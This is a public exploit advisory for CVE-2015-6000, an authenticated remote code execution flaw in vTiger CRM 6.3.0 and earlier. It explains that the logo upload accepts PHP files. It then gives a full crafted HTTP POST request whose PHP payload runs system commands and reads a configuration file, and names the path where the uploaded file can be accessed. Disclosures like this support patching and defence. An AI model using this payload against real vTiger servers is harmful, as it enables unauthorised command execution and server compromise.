vTiger CRM 6.3.0 - (Authenticated) Remote Code Execution

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# Exploit Title: Vtiger CRM <= 6.3.0 Authenticated Remote Code Execution
# Date: 2015-09-28
# Exploit Author: Benjamin Daniel Mussler
# Vendor Homepage: https://www.vtiger.com
# Software Link: https://www.vtiger.com/open-source-downloads/
# Version: 6.3.0 (and lower)
# Tested on: Linux (Ubuntu)
# CVE : CVE-2015-6000
# Source: http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html


=== Description ===

Vtiger CRM's administration interface allows for the upload of a company
logo. Instead of uploading an image, an attacker may choose to upload a
file containing PHP code and run this code by accessing the resulting
PHP file.

Detailed description:
http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html


=== PoC ===

Through a specially crafted HTTP-POST request, a PHP file is stored on
the server hosting the Vtiger CRM software:

    POST /index.php HTTP/1.1
    Host: [...]
    Cookie: [...]
    Connection: keep-alive
    Content-Type: multipart/form-data; boundary=---------------------------51732462825208
    Content-Length: 2040

    -----------------------------51732462825208
    Content-Disposition: form-data; name="__vtrftk"

    [...]
    -----------------------------51732462825208
    Content-Disposition: form-data; name="logo"; filename="2.php"
    Content-Type: image/jpeg

    <? system('id; uname -a; /sbin/ifconfig -a'); system('cat ../../vtigerversion.php'); ?>
    -----------------------------51732462825208
    Content-Disposition: form-data; name="address"
    [...]


The resulting PHP file can then be accessed at

        [Vtiger URL]/test/logo/2.php





- --
  Benjamin Daniel MUSSLER

  Ix-Xgħajra, Malta     Tel (MT) +356 9965 3798
  Karlsruhe, Germany     Tel (DE) +49 721 989 0150
  Web: https://FL7.DE     PGP: https://FL7.DE/pgp/
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